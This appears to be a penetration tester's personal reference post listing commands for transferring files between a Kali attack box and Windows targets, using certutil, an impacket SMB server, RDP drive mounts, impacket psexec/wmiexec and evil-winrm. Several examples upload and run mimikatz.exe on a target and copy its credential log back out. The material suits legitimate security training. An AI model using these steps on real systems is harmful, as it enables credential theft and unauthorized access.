Post

Windows to Linux File Transfers

Windows to Linux File Transfers

A relevant xkcd comic for your pleasure.

Transferring files from windows to linux can be annoying. Anyway you do it requires remembering some command line options for whatever tool you’re using, which is why this post is being made as a reference for myself.

Here are the methods:

certutil.exe

On linux box, set up the server:

python -m http.server 80

From windows box:

certutil.exe -urlcache -f http://<your ip>/<filename> <local destination path>

SMB:

Start server on linux:

1
impacket-smbserver MyShareName . -smb2support  -username USERNAME -password PASSWORD

then in Windows:

1
2
3
net use m: \\Kali_IP\MyShareName /user:USERNAME PASSWORD

copy \path\to\local\file m:\

RDP: Mounting Shared Folders

xfreerdp

Linux:

1
xfreerdp /cert-ignore /compression /auto-reconnect /u:USERNAME /p:PASSWORD /v:192.168.212.250 /w:1600 /h:800 /drive:test,/home/kali/Documents/pen-200

Windows:

1
copy mimikatz.log \\tsclient\test\mimikatz.log

rdesktop

Linux:

1
rdesktop -z -P -x m -u USERNAME -p PASSWORD XXX.XXX.XXX.XXX -r disk:test=/home/kali/Documents/

Windows:

1
copy mimikatz.log \\tsclient\test\mimikatz.log

smpacket tools

psexec and wmiexec are shipped with built in feature for file transfer.

Note: By default whether you upload (lput) or download (lget) a file, it’ll be writte in C:\Windows path.

Uploading mimikatz.exe to the target machine:

1
2
3
4
5
6
7
lput mimikatz.exe

cd C:\windows

dir /b mimikatz.exe

mimikatz.exe

Downloading mimikatz.log:

1
lget mimikatz.log

Evil-winrm

Uploading files:

1
upload mimikatz.exe C:\windows\tasks\mimikatz.exe

Downloading files:

1
download mimikatz.log /home/kali/Documents
This post is licensed under CC BY 4.0 by the author.